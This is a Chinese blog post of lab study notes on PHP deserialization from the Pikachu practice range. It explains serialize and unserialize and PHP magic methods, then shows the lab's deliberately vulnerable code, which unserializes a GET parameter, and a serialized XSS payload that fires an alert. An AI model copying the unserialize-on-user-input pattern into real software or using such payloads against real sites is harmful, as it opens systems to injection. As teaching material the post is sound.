皮卡丘中的PHP反序列化

举报
新网工李白 发表于 2021/09/09 22:01:53 2021/09/09
【摘要】 PHP反序列化 序列化反序列化PHP中的魔法函数pikachu漏洞 一张图看懂序列化和反序列化 以下内容来自pikachu靶场,自己记录用于复习PHP反序列化的利用. ...


一张图看懂序列化和反序列化

在这里插入图片描述

以下内容来自pikachu靶场,自己记录用于复习PHP反序列化的利用.

真他妈后悔上课的时候没好好学PHP,现在搞web很是吃力.一步一步的走是很重要的.

在这里插入图片描述

序列化

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象
使用的函数serialize()

class S{
    public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化

  
 
  • 1
  • 2
  • 3
  • 4
  • 5

序列化后得到的结果是这个样子的:O:1:“S”:1:{s:4:“test”;s:7:“pikachu”;}

  • O:代表object
  • 1:代表对象名字长度为一个字符
  • S:对象的名称
  • 1:代表对象里面有一个变量
  • s:数据类型
  • 4:变量名称的长度
  • test:变量名称
  • s:数据类型
  • 7:变量值的长度
  • pikachu:变量值

反序列化

把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
使用函数unserialize()

 $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

  
 
  • 1
  • 2

PHP中的魔法函数

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了,就会导致安全问题.

常见的几个魔法函数:

 __construct()当一个对象创建时被调用

 __destruct()当一个对象销毁时被调用

 __toString()当一个对象被当作一个字符串使用

  __sleep() 在对象在被序列化之前运行

 __wakeup将在序列化之后立即被调用

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

pikachu漏洞

    class S{
        var $test = "pikachu";
        function __destruct(){
            echo $this->test;
        }
    }
    $s = $_GET['test'];
    @$unser = unserialize($a);

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

  
 
  • 1

在这里插入图片描述

文章来源: libai.blog.csdn.net,作者:新网工李白,版权归原作者所有,如需转载,请联系作者。

原文链接:libai.blog.csdn.net/article/details/119906238

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

举报
请填写举报理由
0/200